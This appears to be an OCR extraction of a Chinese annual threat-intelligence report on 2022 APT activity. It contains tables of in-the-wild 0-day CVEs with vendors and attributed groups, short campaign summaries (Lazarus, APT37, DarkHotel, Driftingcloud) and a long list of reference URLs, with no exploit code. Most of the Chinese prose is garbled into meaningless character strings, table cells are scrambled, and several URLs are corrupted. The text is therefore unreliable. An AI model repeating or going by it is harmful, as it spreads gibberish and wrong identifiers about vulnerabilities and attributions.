MS Windows 10 21H2 64bit Ukrainian 6e3 Tenemerpii

A [E3.21 Windows 10 ISO ASHE&IEETTE

i EE]

Hive0117

Cunning Kitten

TA4563

KNOTWEED

Kasablanka

UNC3890

MURENSHARK

UNC4034

Metador

Witchetty

UNC4166

sEEhiER WEeTiE
f!m%’s@ﬂifﬁlﬂz‘iﬁﬁ’@?ﬁﬂ’\]ﬁﬁ%’gﬂ EDRILRIAE Tl 2022-04-26
A R T H S HrE 2 R e FAl B E L b

Cunning Kitten- $t34eZRA8% A TRIEIAHZELA 17 2022-06-24
Eﬁ?ﬁﬁf@ﬁ%ﬁﬂmﬁmm’ FIF OneDrive T4 2022-07-21
fﬁgﬁiﬁ?zz'zzw 1213 0day #THE, ZERBBERE 00 0 -
F R £ t PSS E b TBGA Bl S A AR T B 2022-08-17
[%%L‘HJ?F\ APT AREUBTIFNE. BT RIE. BAFFBIRED] 2022-08-17
MEEERNRE B TR aRs 2022-08-18
#id WhatsApp BT TEN &ML HE 1 2022-09-14

Metador Z i - BRIEITEEBE AR, ISP FIAFEHHRIFEEM ©  2022-09-22

Witchetty B4R A E M T AER HH AR 1

T SR ZBIFANAD K Windows 10 #IERARERZR B

2022-09-29

2022-12-15

A FR3.222022 FHEMEX APT ARARIEER

HEFE: ti_support@gianxin.com

F2i&E: 95015
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Mandiant
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SentinelLabs
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BNE K=0day:;RAHMBAFAPT T

T 2021 £ Oday iAHBUNER , 2022 £ Oday IWEREAEMEBETEM, bz 2021 FHEKIET
B, {BRIEL 2020 EAEF LA 3§ 2021 EXMFHREM LR, FTULI 0day EFRERIHRE KA
R —DEEBIEREE,

£5 Oday RIAMTFENHE=EBRUNBEE, M. 8. ER, EAES =N RANRGTFERES,
HF=@M7ESF 0day EEEFEET‘%‘ Oday WE¥EN 9 B, AR, FEREXF R 0day #ZHE 11 1N

HAESTN BB IENSIKERERANNES, HEF 0day 291, BURAEBETRET BHEN
%128, 725 0day K%/ Windows BRIERFAFRIEAURIE, HAEBF] Chrome R 28K H B FTXEX,
LLEIMRIER Exchange Server AR EEZEAMEHRNE LB T, REFERFEA—MENHINES, H
EEHFRIBEERR. BRZT, UIRERAERSHIRAURE RN 588 mRa R &,

LIMERERME, 2022 FHIMMEE 0day P2 ERZ FIHRAKRE RS BERNFIZMm~E,
X BRI INEY Project Zero B EEMIBXIRIE.

Product 2022 ITW O-day Variant
Windows win32k CVE-2022-21882 CVE-2021-1732 (2021 itw)
105 10MobileFrameBuffer CVE-2022-22587 CVE-2021-30983 (2021 itw)
Windows CVE-2022-30190 (“Follina") CVE-2021-40444 (2021 itw)
Chromium property access CVE-2022-1096 CVE-2016-5128 CVE-2021-
interceptors 30551 (2021 itw) CVE-2022-
2325 ddresses incomplete
CVE-2022-1096 fix)
Chromium v8 CVE-2022-1364 CVE-2021-21195
WebkKit CVE-2022-22620 (*Zombie™) Bug was originally fixed in
2013, patch was regressed in
2016
Google Pixel CVE-2021-39793* Linux same bug in a different
subsystem
*While this CVE says 2021, the bug
was patched and disclosed in 2022
Atlassian Confluence CVE-2022-26134 CVE-2021-26084
Windows CVE-2022-26925 (“PetitPotam”) | CVE-2021-36942 (Patch
regressed)

4.1 Google Project Zero 3F 2022 3 FABINRIANN S4E3T L #kIE

Project Zero RS EHEIFELE] 2022 F L+ F, XEB(NTN THFERMNREHRTHT. | HIERE
S mPRENFAHHITRTENBER NRRLIERIZEHN—AMED, FSIOFEREERFRE
TEXCERNRIITEENREMRTARRR TEZHER,
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Product
Jscript9
Exchange

Exchange

2022 ITW 0-day
CVE-2022-41128
CVE-2022-41040

CVE-2022-41080

(> FRIEHMBIRPLO

Variant
CVE-2021-34480
CVE-2021-34473

CVE-2021-34473

A R 422022 THERNFRSLEN L EE

2022 FEFRENER B TAR:

9 =1 ! C 2
FARS B HALSIE  umwapT a8 BB
TEBRF
CVE-2022-21882 Microsoft = KA Eill
CVE-2022-22587 Apple £ el ESll
CVE-2022-22620 Apple 2 F0 el
CVE-2022-0609 Google = Lazarus Google's Threat Analysis
roup
CVE-2022-26485 Mozilla S DarkHotel 360
CVE-2022-26486 Mozilla ES DarkHotel 360
N/A E=E= = TEETE ES)
CVE-2021-22600 Google = eSO ESl
CVE-2021-39793 Google = KA KA
CVE-2022-1040 Sophos = Driftingcloud KA
CVE-2022-1096 Google &= RN EN il
CVE-2022-22674 Apple = A el
CVE-2022-22675 Apple & F0 el
CVE-2022-26871 Trend Micro = e Trend Micro Research
. National Security Agency
_ . =3=
CVE-2022-24521 Microsoft & ES) and Crowdstrike
Google's Threat Analysis
_ _ TS
CVE-2022-1364 Google 5 FH Group
CVE-2022-26925 Microsoft & KA gertdsma"” Printing
roup
CVE-2022-30190 Microsoft = eSO Shadow Chaser Group
CVE-2022-26134 Atlassian = Driftingcloud Volexity
CVE-2022-2294 Google g Candiru Avast Threat Intelligence

A R 432022 7FFHES 0day FE "1

team
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RRES B0 ggﬁm [ zimw APT B4

AT
Microsoft Threat
o Intelligence Center /

_ _ H =
CVE-2022-22047 Microsoft S Microsoft Security
Response Center
CVE-2022-2856 Google = Al google Threat Analysis
roup
CVE-2022-32894 Apple & KA1 eS|
CVE-2022-32893 Apple = e ES
CVE-2022-3075 Google = ES KA
CVE-2022-32917 Apple ES e e
CVE-2022-41033 Microsoft = ESl KA
CVE-2022-42827 Apple 5 e e
CVE-2022-3723 Google = KA Avast
. - Trend Micro Zero Day
CVE-2022-41040 Microsoft b AN Initiative
. - Trend Micro Zero Day
CVE-2022-41082 Microsoft = KA Initiative
CVE-2022-41128 Microsoft 2 APT37 Google' s Threat Analysis
roup
) - Microsoft Threat
CVE-2022-41073 Microsoft & ENll Intelligence Center
Microsoft Threat
. Intelligence Center /
_ - =
CVE-2022-41125 Microsoft %5 ESl Microsoft Security
Response Center
= Google's Threat Analysis
CVE-2022-4135 Google S e Group
CVE-2022-42856 Apple & A Google's Threat Analysis
roup
CVE-2022-4262 Google = AT google s Threat Analysis
roup
CVE-2022-41082 Microsoft 2 Trend Micro Zero Day

Initiative

A R 432022 EHES Oday KR 2

—. ERNK2E 0day RRNFRILIX APT B

2021 &4, APT Bk Lazarus K2 THXWLZ 2 ARNKEEH, WEFFER T SN K8 AR
M. 2022 FHZEK X E I EERYFTE. 1T, DD%%&%EM‘?MEFT%EI&EO WEHRFERT
Chrome %3 8889 Oday J®JE CVE-2022-0609, 4% Chrome JBE2sBFI B, X—RFREHEHELDR
BE— 1 RTENEIERA 0day #®iH. #E Google AR AR DT, Exp S&MENE#HTTT Macos/Firefox 8
KRR, BEBEE, ZARFHNZEEHIY Safari/Firefox B9 0day /. FBY, KEEMUTF
IREX T 2021 WEBTHEI0EI)I, X432 0day FIAHITZERT, BEFERRT:
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EIFEE 2022 E£E4), 360 3K T AKX S — APT H{k DarkHotel {8 FireFox 0day CVE-2022-
26485, CVE-2022-26486 Ry/KinBdE i,

Itk5h, 2022 % 10 B, Google MBI #7/)\4H (TAG) RIL—i2EH & ERIEE 0day APT EEH,
WEHHE T HERRERIFEN, ZAETE T — 1 RTF ZEER, ZIERXIREUTIE HTML
DiE. HTF Office £/ Internet Explorer (IE) 2ILLt HTML D1, MIARA T Internet Explorer %
28 JavaScript 5|2 #y 0day JFJE CVE-2022-41128, RASHRITZNIBRIT. Google END i/ \RIE
BBEEMHABT APT37,
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A [E 4.4 APT37T EHIFEXH

WA XMEXNAIER, BT 0day R ERIRAFETFA R,

—. MA%E: ZiEEETRCHEFALGE

MAERE—RERNARTHCZEEFEERETR, EXFniEEBRFI. TiEEE. ANFEFINE,
2022 F 2 B, ZEft Windows A FEIRIZESn S HITIRE, HHIEFMAE. HEARLEFAT
[ BEIPIMNT RN — Bz, SREEI—MEGAR CID, NMEEEE— e ENRR RBEHIT.
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=. loT IREHIZBERL 7 APT Bk B9 F IE ik

APT kBB R ESR B S EE C2 fRS28, UFLESRE ARRMIR, 2022 F, HFRELAN
i EI AR B Z i iEE e T oT BRF / P MBI E NS M. REAMETIE M ERER—EE / X
18 nday iR, WHINHN LRERENRE /BHAEREEITHEG, WRARIBRIKEFAARDRELE C2
ARSEREIPELBMR, MMEREE SRR C2 RS, MBI KRR AEREENBITAN, It
KFEAELM N E NBERENERECR & F o

M. Driftingcloud: —"#i#Y 0day if:RFIAEX

Volexity F 2022 £ 6 B3I E 7T REERREEH, XMEWEPEER T 0day E, HEP—NFK
8 CVE-2022-26134 /3 Atlassian Confluence Sever AR L& F A RIERIZLIEHIT, S—MUREH YT
Sophos BHASEHTIZ S HITIRIE CVE-2022-1040, 4i@idiRR% M Sophos BhAIEE, KEEFA
3B A BYIH B A RIS B T SRS E BARM LAY DNS PRz, IASEI MITM i, XEREIHEBEMITH
AR EBIEARS (CMS) WEIRIARIFIZEA P EIEMIE cookie, FHLULHITELEMNK T,

PHASE 1

‘Dr' Attacker breaches PHASE 3
> firewall & installs Attacker performs MITM on
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1.https://ti.gianxin.com/blog/articles/SideCopy's-Golang-based-Linux-tool/

2.https://mp.weixin.qg.com/s/xKKr5UV26npohwvyv79U0w
3.https://lab52.io/blog/complete-dissection-of-an-apk-with-a-suspicious-c2-server/
4.https://citizenlab.ca/2022/04/catalangate-extensive-mercenary-spyware-operation-against-
catalans-using-pegasus-candiru/

5.https://mp.weixin.qg.com/s/1WtaS7htgiUGhtY_ovERxXA
6.https://blog.cyble.com/2022/08/09/bitter-apt-group-using-dracarys-android-spyware/
7.https://www.mandiant.com/resources/blog/apt42-charms-cons-compromises
8.https://medium.com/s2wblog/unveil-the-evolution-of-kimsuky-targeting-android-devices-with-
newly-discovered-mobile-malware-280dae5a650f
9.https://mp.weixin.qg.com/s/pd6fUs5TLdBtwUHauclDOQ
10.https://labs.k7Tcomputing.com/index.php/lazarus-apts-operation-interception-uses-signed-
binary/

11.https://mp.weixin.qg.com/s/1pHp4WywrDnNcVBio8lq8w
12.https://www.trellix.com/en-us/about/newsroom/stories/research/prime-ministers-office-
compromised.html

13.https://www.cisa.gov/uscert/ncas/alerts/aa22-047a
14.https://blog.sekoia.io/turla-new-phishing-campaign-eastern-europe/
15.https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/stonefly-north-korea-
espionage
16.https://www.microsoft.com/en-us/security/blog/2022/09/29/zinc-weaponizing-open-source-
software/
17.https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-
targeting-users-middle-east
18.https://www.cnnindonesia.com/teknologi/20220120191930-185-749298/ahli-sebut-geng-
ransomware-conti-yang-bobol-bi-peretas-berbahaya

19.https://asec.ahnlab.com/en/38993/
20.https://mp.weixin.qg.com/s/QkKrxXbz3rHveokjwEoW-w
21.https://mp.weixin.qq.com/s/nnLqUBPX8xZ3hCr5u-iSjQ
22.https://securelist.com/bluenoroff-methods-bypass-motw/108383/
23.https://mp.weixin.qq.com/s/Xs54_RDKU5MvkvsPPCGKEw
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24.https://www.proofpoint.com/us/blog/threat-insight/buy-sell-steal-evilnum-targets-
cryptocurrency-forex-commodities

25.https://mp.weixin.qgq.com/s/1KIFSc3R5WrMklidXWSBaw
26.https://asec.ahnlab.com/en/44680/
27.https://mp.weixin.qgq.com/s/PTWzKIPsO92XCP4-pXRDgg
28.https://blog.google/threat-analysis-group/countering-threats-north-korea/
29.https://twitter.com/ESETresearch/status/1559553324998955010
30.https://labs.k7computing.com/index.php/lazarus-apts-operation-interception-uses-signed-
binary/
31.https://www.welivesecurity.com/2022/12/07/fantasy-new-agrius-wiper-supply-chain-attack/
32.https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/
33.https://unit42.paloaltonetworks.com/trident-ursa/
34.https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor
35.https://ti.gianxin.com/blog/articles/king-of-phishing-analysis-of-kimsuky's-recent-spear-
phishing-attacks-targeting-south-korea-with-multiple-topics
36.https://ti.gianxin.com/blog/articles/spikes-from-the-kimsuky-organization-targeted-killing-of-
south-korea-with-multiple-assault-weapons/
37.https://ti.gianxin.com/blog/articles/the-tiger-of-the-forest-entrenched-on-foyan-mountain/
38.https://cluster25.i0/2022/01/03/konni-targets-the-russian-diplomatic-sector/
39.https://mp.weixin.qgq.com/s/GPpOF-SSJbVR3ZHsx8eXgA
40.https://www.malwarebytes.com/blog/threat-intelligence/2022/01/north-koreas-lazarus-apt-
leverages-windows-update-client-github-in-latest-campaign
41.https://asec.ahnlab.com/en/31089/

42.https://blog.alyac.co.kr/4501
43.https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/suspected-darkhotel-apt-
activity-update.html

44 https://asec.ahnlab.com/en/32958/
45.https://securelist.com/lazarus-trojanized-defi-app/106195/
46.https://ti.gianxin.com/blog/articles/analysis-of-the-lazarus-group-attacks-on-korean-

companies/
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47.https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-
chemical

48.https://www.cisa.gov/uscert/ncas/alerts/aa22-108a
49.https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/stonefly-north-korea-
espionage
50.https://ti.gianxin.com/blog/articles/lazarus-armory-update-analysis-of-recent-andariel-
attacks/
51.https://research.nccgroup.com/2022/05/05/north-koreas-lazarus-and-their-initial-access-trade-
craft-using-social-media-and-social-engineering/

52.https://asec.ahnlab.com/en/34461/

53.https://asec.ahnlab.com/en/34694/

54.https://asec.ahnlab.com/ko/34883/

55.https://mp.weixin.qq.com/s/ZV8AOTA7YGUgCTTTZtTktQ
56.https://blogs.jpcert.or.jp/en/2022/07/yamabot.html
57.https://mp.weixin.qgq.com/s/USitU4jAg9y2XkQxbwcAPQ
58.https://www.securonix.com/blog/stiffbizon-detection-new-attack-campaign-observed/
59.https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-
extension-sharpext/
60.https://securelist.com/andariel-deploys-dtrack-and-maui-ransomware/107063/
61.https://mp.weixin.qgq.com/s/R8fFvBQDHrTA5-VnKINO5Wg
62.https://securelist.com/kimsukys-golddragon-cluster-and-its-c2-operations/107258/
63.https://blog.alyac.co.kr/4892
64.https://blog.talosintelligence.com/2022/09/lazarus-magicrat.html
65.https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html
66.https://mp.weixin.qgq.com/s/ME|SffbcrQkBYdVKo3hzFg
67.https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-
belgium/

68.https://asec.ahnlab.com/en/40830/
69.https://ti.gianxin.com/blog/articles/job-hunting-trap-analysis-of-lazarus-attack-activities-
using-recruitment-information-such-as-mizuho-bank-of-japan-as-bait/

70.https://mp.weixin.qq.com/s/OaECtSaeClPzFHsIN_WamA
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71.https://www.welivesecurity.com/2022/11/30/whos-swimming-south-korean-waters-meet-
scarcrufts-dolphin/
72.https://www.volexity.com/blog/2022/12/01/buyer-beware-fake-cryptocurrency-applications-
serving-as-front-for-applejeus-malware/
73.https://blog.google/threat-analysis-group/internet-explorer-0-day-exploited-by-north-korean-
actor-apt37/
T4.https://slowmist.medium.com/slowmist-our-in-depth-investigation-of-north-korean-apts-large-
scale-phishing-attack-on-nft-users-362117600519
75.https://www.netskope.com/blog/abusing-microsoft-office-using-malicious-web-archive-files
76.https://ti.gianxin.com/blog/articles/Samples-of-the-OceanLotus-attack-using-the-Glitch-
platform/

T7.https://mp.weixin.qgq.com/s/5gXIlrE1srnHtaFCc-86GA
78.https://mp.weixin.qq.com/s/tBQSbv551JUipaPWFr1fkw
79.https://mp.weixin.qq.com/s/Ah3pFjYk5A0vKvZPwXod6g
80.https://mp.weixin.qq.com/s/U9LIfVVP5kHBFFtOLNOQ-A
81.https://mp.weixin.qgq.com/s/u2iEmGMi-SN2G-Isnp2pdg
82.https://mp.weixin.qgq.com/s/LkiNNIx5-FIBO8YY4FxzZw
83.https://mp.weixin.qg.com/s/v2wiJe-YPGOng87ffBBIFQ
84.https://mp.weixin.qgq.com/s/NLe4Jgm|iB581Q5Kn6DSLQ
85.https://blog.malwarebytes.com/threat-intelligence/2022/01/patchwork-apt-caught-in-its-own-
web/

86.https://mp.weixin.qgq.com/s/ZNhdLN_AgGfjdk8nG8kLmw
87.https://mp.weixin.qq.com/s/T1-JbCIFsVV2UNnusYPJbw
88.https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/
89.https://mp.weixin.qgq.com/s/UcAJRNZVG1hrv4VQTp4A5g
90.https://mp.weixin.qgq.com/s/epRGn7Tnzx6rXihYXIpllg
91.https://mp.weixin.qgq.com/s/olI6Ty-gKpDfLGZTOIWXqw
92.http://blog.nsfocus.net/apt-sidewinder-20220218/
93.https://ti.dbappsecurity.com.cn/blog/articles/2022/03/11/bitter-nepal-army-day/
94.https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html
95.https://ti.dbappsecurity.com.cn/blog/articles/2022/04/24/bitter-attack-bd/V
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96.https://mp.weixin.qg.com/s/xRumzCNzQ85717VDg57mBg
97.https://mp.weixin.qq.com/s/_KQJH2_VIjoBp2Msh71lodg
98.https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html
99.https://mp.weixin.qgq.com/s/qsGxZliTsul7o-_XmiHLHg
100.https://blog.group-ib.com/sidewinder-antibot
101.https://mp.weixin.qq.com/s/PxFybrOSmA-lymDQ_L5W-Q
102.https://mp.weixin.qg.com/s/8j_rHA7gdMxY1_X8alj8Zg
103.https://mp.weixin.qg.com/s/YKSedzm7haOO0vPttigsUAQ
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